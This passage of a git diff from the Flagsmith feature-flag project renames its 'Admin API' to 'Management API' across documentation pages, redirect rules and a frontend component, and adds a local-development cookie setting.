Limit](/administration-and-security/governance-and-compliance/system-limits#admin-api-rate-limit) that you should be aware of. -::: \ No newline at end of file diff --git a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/index.md b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/index.md index a1ca4ab3c6a9..52915c9e9662 100644 --- a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/index.md +++ b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/index.md @@ -16,12 +16,12 @@ This is the API that your client and server-side SDKs interact with to get flag [Learn more about the Flags API](/integrating-with-flagsmith/flagsmith-api-overview/flags-api). -### 2. The Admin API (Private Admin API) +### 2. The Management API (Private API) -This is the API you use to programmatically manage your Flagsmith projects. Anything you can do in the Flagsmith dashboard, you can also do via the Admin API. +This is the API you use to programmatically manage your Flagsmith projects. Anything you can do in the Flagsmith dashboard, you can also do via the Management API. - **Purpose:** Creating, updating, and deleting projects, environments, flags, segments, and users. - **Authentication:** Uses a secret **Organisation API Token**. - **Security:** Requires a secret key that should never be exposed in client-side code. -[Learn more about the Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api). \ No newline at end of file +[Learn more about the Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api). \ No newline at end of file diff --git a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication.md b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication.md similarity index 90% rename from docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication.md rename to docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication.md index 0713cec73a3e..9e5efd34c196 100644 --- a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication.md +++ b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication.md @@ -3,7 +3,7 @@ title: Authentication sidebar_label: Authentication --- -To interact with the Admin API, you need to authenticate your requests using an API Token associated with your +To interact with the Management API, you need to authenticate your requests using an API Token associated with your Organisation, or a short-lived access token obtained through an [OIDC trust relationship](#oidc-trust-relationships). :::info @@ -36,13 +36,13 @@ An API token acts with the permissions selected when it was created: either full projects within that organisation — or a set of RBAC roles. Be sure to keep it secure and never expose it in client-side applications. -For SaaS customers, the base URL for the Admin API is `https://api.flagsmith.com/`. If you are self-hosting, you will +For SaaS customers, the base URL for the Management API is `https://api.flagsmith.com/`. If you are self-hosting, you will need to use your own API URL. ## OIDC trust relationships Trust relationships let a workload that already has an OIDC identity — for example, a GitHub Actions job — call the -Admin API without any stored secrets. The workload exchanges its OIDC token for a short-lived Flagsmith access token, in +Management API without any stored secrets. The workload exchanges its OIDC token for a short-lived Flagsmith access token, in the same way cloud providers implement workload identity federation. ### Configuring a trust relationship @@ -99,7 +99,7 @@ A successful exchange returns a short-lived access token: } ``` -Use it as a bearer token on Admin API requests: +Use it as a bearer token on Management API requests: ```bash Authorization: Bearer diff --git a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/code-examples.md b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/code-examples.md similarity index 87% rename from docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/code-examples.md rename to docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/code-examples.md index 555b05b56988..656bc02883a9 100644 --- a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/admin-api/code-examples.md +++ b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/code-examples.md @@ -3,7 +3,7 @@ title: Code Examples sidebar_label: Code Examples --- -Here is a simple example of how to use the Admin API with `curl` to create a new environment within a project. +Here is a simple example of how to use the Management API with `curl` to create a new environment within a project. ```bash curl 'https://api.flagsmith.com/api/v1/environments/' \ diff --git a/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/index.md b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/index.md new file mode 100644 index 000000000000..30c73a717554 --- /dev/null +++ b/docs/docs/integrating-with-flagsmith/flagsmith-api-overview/management-api/index.md @@ -0,0 +1,22 @@ +--- +title: Management API +sidebar_label: Management API +--- + +The Management API allows you to programmatically manage your Flagsmith projects, environments, features, segments, and users. Essentially, any action you can perform in the Flagsmith dashboard can also be accomplished via the Management API. + +This API is designed for automation, integrations, and building custom workflows on top of Flagsmith. + +You do not need administrator privileges to use it. Requests act with the permissions of the API key or user +making them, so any member of an organisation can use the Management API within the scope of their +[permissions](/administration-and-security/access-control/rbac). + +## API Explorer + +You can explore the full Management API via Swagger at [https://api.flagsmith.com/api/v1/docs/](https://api.flagsmith.com/api/v1/docs/). You can also get the OpenAPI specification in [JSON](https://api.flagsmith.com/api/v1/swagger.json) or [YAML](https://api.flagsmith.com/api/v1/swagger.yaml) format. + +We also have a [Postman Collection](https://www.postman.com/flagsmith/workspace/flagsmith/overview) that you can use to experiment with the API. + +:::info +Our Management API has a [Rate Limit](/administration-and-security/governance-and-compliance/system-limits#management-api-rate-limit) that you should be aware of. +::: \ No newline at end of file diff --git a/docs/docs/integrating-with-flagsmith/mcp-server.mdx b/docs/docs/integrating-with-flagsmith/mcp-server.mdx index 74c88d25f8c0..a3e5b2909bb9 100644 --- a/docs/docs/integrating-with-flagsmith/mcp-server.mdx +++ b/docs/docs/integrating-with-flagsmith/mcp-server.mdx @@ -11,7 +11,7 @@ import McpToolCatalogueEnterprise from './_mcp-tool-catalogue-enterprise.md'; # MCP Server -The Flagsmith MCP Server gives AI assistants and agents programmatic access to the Flagsmith Admin API through the +The Flagsmith MCP Server gives AI assistants and agents programmatic access to the Flagsmith Management API through the [Model Context Protocol](https://modelcontextprotocol.io). Your assistant can manage feature flags, segments, multivariate options, and release workflows on your behalf — in a human-in-the-loop IDE session, or fully automated in a CI/CD pipeline. @@ -47,7 +47,7 @@ browser, you log in to Flagsmith and authorise access, and the client stores the ### API key (CI and non-interactive agents) For automation — CI jobs, headless agents — authenticate with an -[Organisation API key](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication) by sending it in the +[Organisation API key](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication) by sending it in the `Authorization` header: ``` diff --git a/docs/docs/integrating-with-flagsmith/sdks/index.md b/docs/docs/integrating-with-flagsmith/sdks/index.md index 8d493585abb5..5c1bac9b9073 100644 --- a/docs/docs/integrating-with-flagsmith/sdks/index.md +++ b/docs/docs/integrating-with-flagsmith/sdks/index.md @@ -292,9 +292,9 @@ Server-side SDK Keys give server-side SDKs access to [Local Evaluation](#local-e These keys are secret and should not be shared. -### Admin API +### Management API -Admin API keys are used to interact with the Flagsmith API directly. These keys can be used in the following +Management API keys are used to interact with the Flagsmith API directly. These keys can be used in the following situations: - If you want to work with Flagsmith programatically, for example when creating and deleting Environments as part of a diff --git a/docs/docs/managing-flags/code-references.md b/docs/docs/managing-flags/code-references.md index be6f76c7ca47..2afa8aa57c1f 100644 --- a/docs/docs/managing-flags/code-references.md +++ b/docs/docs/managing-flags/code-references.md @@ -133,5 +133,5 @@ Feature details will expand on the _Usage_ tab, and list locations of each code ## Related -- [Admin API Authentication](/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication): Generate API keys for Code References +- [Management API Authentication](/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication): Generate API keys for Code References - [Flag Lifecycle](/best-practices/flag-lifecycle): Learn when to remove short-lived flags from your code diff --git a/docs/docs/managing-flags/feature-versioning.md b/docs/docs/managing-flags/feature-versioning.md index 942d8702c1e2..c5ec0e272959 100644 --- a/docs/docs/managing-flags/feature-versioning.md +++ b/docs/docs/managing-flags/feature-versioning.md @@ -6,7 +6,7 @@ sidebar_position: 5 Feature Versioning attaches versions to feature value and segment override updates. You can browse past versions, schedule future ones, and roll back to an earlier version. -Editing flags through the dashboard is unchanged. This page describes what changes when you enable Feature Versioning v2 on an environment for your webhook consumers, your audit-log pipeline, and your scripts that talk to the Admin API. +Editing flags through the dashboard is unchanged. This page describes what changes when you enable Feature Versioning v2 on an environment for your webhook consumers, your audit-log pipeline, and your scripts that talk to the Management API. ## Prerequisites diff --git a/docs/docs/performance/real-time-flags.md b/docs/docs/performance/real-time-flags.md index 56784eab2f81..20d0db01d4f4 100644 --- a/docs/docs/performance/real-time-flags.md +++ b/docs/docs/performance/real-time-flags.md @@ -10,7 +10,10 @@ Real-time flag updates require an Enterprise subscription. ::: -When an application fetches its current feature flags, it usually caches the flags for a certain amount of time to make [efficient use](/best-practices/efficient-api-usage) of the Flagsmith API and network resources. In some cases, you may want an application to be notified about feature flag updates without needing to repeatedly call the Flagsmith API. This guide explains how to achieve this by subscribing to real-time flag updates. +When an application fetches its current feature flags, it usually caches the flags for a certain amount of time to make +[efficient use](/best-practices/efficient-api-usage) of the Flagsmith API and network resources. In some cases, you may +want an application to be notified about feature flag updates without needing to repeatedly call the Flagsmith API. This +guide explains how to achieve this by subscribing to real-time flag updates. ## Setup @@ -20,11 +23,13 @@ To enable real-time flag updates for your Flagsmith project: 2. Navigate to **Project Settings > SDK Settings**. 3. Enable **Real-time updates**. -By default, applications using a supported Flagsmith SDK do not subscribe to real-time flag updates. Refer to your SDK's documentation for subscribing to real-time flag updates. +By default, applications using a supported Flagsmith SDK do not subscribe to real-time flag updates. Refer to your SDK's +documentation for subscribing to real-time flag updates. ## How it works -The following sequence diagram shows how a typical application would use real-time flag updates. [Billable API requests](/administration-and-security/billing-api-usage) are highlighted in yellow. +The following sequence diagram shows how a typical application would use real-time flag updates. +[Billable API requests](/administration-and-security/billing-api-usage) are highlighted in yellow. ```mermaid sequenceDiagram @@ -44,15 +49,23 @@ sequenceDiagram Application-->Application: Store latest update timestamp ``` -Your application subscribes to real-time flag updates by opening a long-lived [server-sent events (SSE)](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events) connection to Flagsmith, which is specific to its current environment. +Your application subscribes to real-time flag updates by opening a long-lived +[server-sent events (SSE)](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events) connection to Flagsmith, +which is specific to its current environment. -When the environment is updated in some way, either via the Flagsmith dashboard or the [Admin API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api), all clients connected to that environment's real-time stream will receive a message containing the latest update's timestamp. If your application's latest flags are older than the received timestamp, it requests the latest flags from Flagsmith. When your application receives the latest flags, you must propagate the latest flag state throughout your application as necessary. +When the environment is updated in some way, either via the Flagsmith dashboard or the +[Management API](/integrating-with-flagsmith/flagsmith-api-overview/management-api), all clients connected to that +environment's real-time stream will receive a message containing the latest update's timestamp. If your application's +latest flags are older than the received timestamp, it requests the latest flags from Flagsmith. When your application +receives the latest flags, you must propagate the latest flag state throughout your application as necessary. ## Limitations -Real-time flag update events only contain a timestamp indicating when any flag in the environment was last updated. Applications must still call the Flagsmith API to get the actual flags for their current environment or user. +Real-time flag update events only contain a timestamp indicating when any flag in the environment was last updated. +Applications must still call the Flagsmith API to get the actual flags for their current environment or user. -Only changes made to environments or projects result in flag update events. For example, the following operations will cause updates to be sent: +Only changes made to environments or projects result in flag update events. For example, the following operations will +cause updates to be sent: - Manually toggling a flag on or off, or changing its value. - A [scheduled Change Request](/managing-flags/scheduled-flags) for a feature goes live. @@ -85,7 +98,7 @@ Each real-time flag event message is a JSON object containing a Unix epoch times ```json { - "updated_at": 3133690620000 + "updated_at": 3133690620000 } ``` @@ -97,6 +110,8 @@ curl -H 'Accept: text/event-stream' -N -i https://realtime.flagsmith.com/sse/env ## What's next? -- [Efficient API Usage](/best-practices/efficient-api-usage) – Tips for reducing API calls and making the most of your integration. +- [Efficient API Usage](/best-practices/efficient-api-usage) – Tips for reducing API calls and making the most of your + integration. - [Edge Proxy](/performance/edge-proxy) – Run the Flagsmith engine closer to your infrastructure for even lower latency. -- [Integration Approaches](/best-practices/integration-approaches) – Explore different ways to integrate Flagsmith into your applications. +- [Integration Approaches](/best-practices/integration-approaches) – Explore different ways to integrate Flagsmith into + your applications. diff --git a/docs/docs/sdk-api/flagsmith-api.info.mdx b/docs/docs/sdk-api/flagsmith-api.info.mdx index dfa8cd3b722b..dfc1ce48c421 100644 --- a/docs/docs/sdk-api/flagsmith-api.info.mdx +++ b/docs/docs/sdk-api/flagsmith-api.info.mdx @@ -24,7 +24,7 @@ find within the Flagsmith administrative area. See [Flags API Authentication](/i ## Core API Please note that the SDK API is specifically to be used with our [SDKs](/integrating-with-flagsmith/integration-overview). If you want to drive aspects of -Flagsmith programmatically, you need to use our private [Core API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api). +Flagsmith programmatically, you need to use our private [Core API](/integrating-with-flagsmith/flagsmith-api-overview/management-api). You can find the full spec to our Core API [here](https://api.flagsmith.com/api/v1/docs/). diff --git a/docs/docs/support/faq/feature-flags-remote-config.mdx b/docs/docs/support/faq/feature-flags-remote-config.mdx index da9efc4bf2b8..9c7cb5e78611 100644 --- a/docs/docs/support/faq/feature-flags-remote-config.mdx +++ b/docs/docs/support/faq/feature-flags-remote-config.mdx @@ -85,7 +85,7 @@ No direct "Export" button exists. You would need to write a script to fetch the **Create Environments API:** Yes. -**Create Flag via SDK:** No. Flags are administrative resources created via the Dashboard or the Admin API, not the Client SDKs. +**Create Flag via SDK:** No. Flags are administrative resources created via the Dashboard or the Management API, not the Client SDKs. **Related documentation:** [Flagsmith API Overview](/integrating-with-flagsmith/flagsmith-api-overview) diff --git a/docs/docs/third-party-integrations/ci-cd/terraform.md b/docs/docs/third-party-integrations/ci-cd/terraform.md index 631c03cf9882..d62394ab39d6 100644 --- a/docs/docs/third-party-integrations/ci-cd/terraform.md +++ b/docs/docs/third-party-integrations/ci-cd/terraform.md @@ -15,7 +15,7 @@ your Infrastructure as Code tooling. You can find the latest Hashicorp docs for using the Flagsmith provider [here](https://registry.terraform.io/providers/Flagsmith/flagsmith/latest/docs). -Some API actions require object UUIDs/IDs to be referenced. You can enable the [JSON View](/integrating-with-flagsmith/flagsmith-api-overview/admin-api) +Some API actions require object UUIDs/IDs to be referenced. You can enable the [JSON View](/integrating-with-flagsmith/flagsmith-api-overview/management-api) from your account settings page which will help you access these variables. ::: diff --git a/docs/sdk/sdk-api-info.mdx b/docs/sdk/sdk-api-info.mdx index 6b424a2aa56e..35654f14308c 100644 --- a/docs/sdk/sdk-api-info.mdx +++ b/docs/sdk/sdk-api-info.mdx @@ -1,5 +1,5 @@ -import ApiLogo from "@theme/ApiLogo"; -import Heading from "@theme/Heading"; +import ApiLogo from '@theme/ApiLogo'; +import Heading from '@theme/Heading'; # Flagsmith SDK API @@ -9,11 +9,14 @@ The SDK API is designed to be used by Flagsmith SDKs to evaluate feature flags a The SDK API is designed to be publicly accessible. Calls need to have an environment key supplied with each request. This is provided as an HTTP header, with the name `X-Environment-Key` and the value of the Environment Key that you can -find within the Flagsmith administrative area. See [Flags API Authentication](/integrating-with-flagsmith/flagsmith-api-overview/flags-api/authentication) for more details. +find within the Flagsmith administrative area. See +[Flags API Authentication](/integrating-with-flagsmith/flagsmith-api-overview/flags-api/authentication) for more +details. ## Core API -Please note that the SDK API is specifically to be used with our [SDKs](/integrating-with-flagsmith/integration-overview). If you want to drive aspects of -Flagsmith programmatically, you need to use our private [Core API](/integrating-with-flagsmith/flagsmith-api-overview/admin-api). +Please note that the SDK API is specifically to be used with our +[SDKs](/integrating-with-flagsmith/integration-overview). If you want to drive aspects of Flagsmith programmatically, +you need to use our private [Core API](/integrating-with-flagsmith/flagsmith-api-overview/management-api). You can find the full spec to our Core API [here](https://api.flagsmith.com/api/v1/docs/). diff --git a/docs/src/pages/index.tsx b/docs/src/pages/index.tsx index b871d917423b..8d8e3c3bd593 100644 --- a/docs/src/pages/index.tsx +++ b/docs/src/pages/index.tsx @@ -118,7 +118,7 @@ export default function Home() { diff --git a/docs/static/img/rbac-permissions-diagram.svg b/docs/static/img/rbac-permissions-diagram.svg index 2ceec27c0ae9..1237db9ee1e7 100644 --- a/docs/static/img/rbac-permissions-diagram.svg +++ b/docs/static/img/rbac-permissions-diagram.svg @@ -1 +1 @@ -PermissionsBuilt-in rolesCustom rolesUsersGroupsAdmin API KeysAssigned toAssigned toAssigned toContains many \ No newline at end of file +PermissionsBuilt-in rolesCustom rolesUsersGroupsManagement API KeysAssigned toAssigned toAssigned toContains many \ No newline at end of file diff --git a/docs/vercel.json b/docs/vercel.json index 891cc1be0a89..dd7221131aef 100644 --- a/docs/vercel.json +++ b/docs/vercel.json @@ -735,6 +735,18 @@ { "source": "/integrating-with-flagsmith/flagsmith-api-overview/admin-api/updating-flags", "destination": "/managing-flags/updating-flags" + }, + { + "source": "/integrating-with-flagsmith/flagsmith-api-overview/admin-api", + "destination": "/integrating-with-flagsmith/flagsmith-api-overview/management-api" + }, + { + "source": "/integrating-with-flagsmith/flagsmith-api-overview/admin-api/authentication", + "destination": "/integrating-with-flagsmith/flagsmith-api-overview/management-api/authentication" + }, + { + "source": "/integrating-with-flagsmith/flagsmith-api-overview/admin-api/code-examples", + "destination": "/integrating-with-flagsmith/flagsmith-api-overview/management-api/code-examples" } ], "trailingSlash": false diff --git a/frontend/env/project_local.js b/frontend/env/project_local.js index ac26c4b63b71..583a9b702dc3 100644 --- a/frontend/env/project_local.js +++ b/frontend/env/project_local.js @@ -5,6 +5,11 @@ const Project = { site: 'flagsmith-test', }, + // Local dev is served over plain HTTP, so cookies cannot be Secure. Browsers + // reject SameSite=None cookies that are not Secure, which would drop the auth + // cookie on every page load. + cookieSameSite: 'lax', + debug: false, env: 'dev', diff --git a/frontend/web/components/AdminAPIKeys.js b/frontend/web/components/ManagementAPIKeys.js similarity index 98% rename from frontend/web/components/AdminAPIKeys.js rename to frontend/web/components/ManagementAPIKeys.js index 2b5c6a70724d..ce02cd8e5d12 100644 --- a/frontend/web/components/AdminAPIKeys.js +++ b/frontend/web/components/ManagementAPIKeys.js @@ -198,7 +198,7 @@ export class CreateAPIKey extends PureComponent { isValid={!!this.state.name} type='text' inputClassName='input--wide' - placeholder='e.g. Admin API Key' + placeholder='e.g. Management API Key' /> <> @@ -335,7 +335,7 @@ export class CreateAPIKey extends PureComponent { } } -export default class AdminAPIKeys extends PureComponent { +export default class ManagementAPIKeys extends PureComponent { static displayName = 'TheComponent' state = { @@ -369,7 +369,7 @@ export default class AdminAPIKeys extends PureComponent { createAPIKey = () => { openModal( - 'New Admin API Key', + 'New Management API Key', { @@ -459,7 +459,7 @@ export default class AdminAPIKeys extends PureComponent { } > - {`API keys are used to authenticate with the Admin API. `} + {`API keys are used to authenticate with the Management API. `}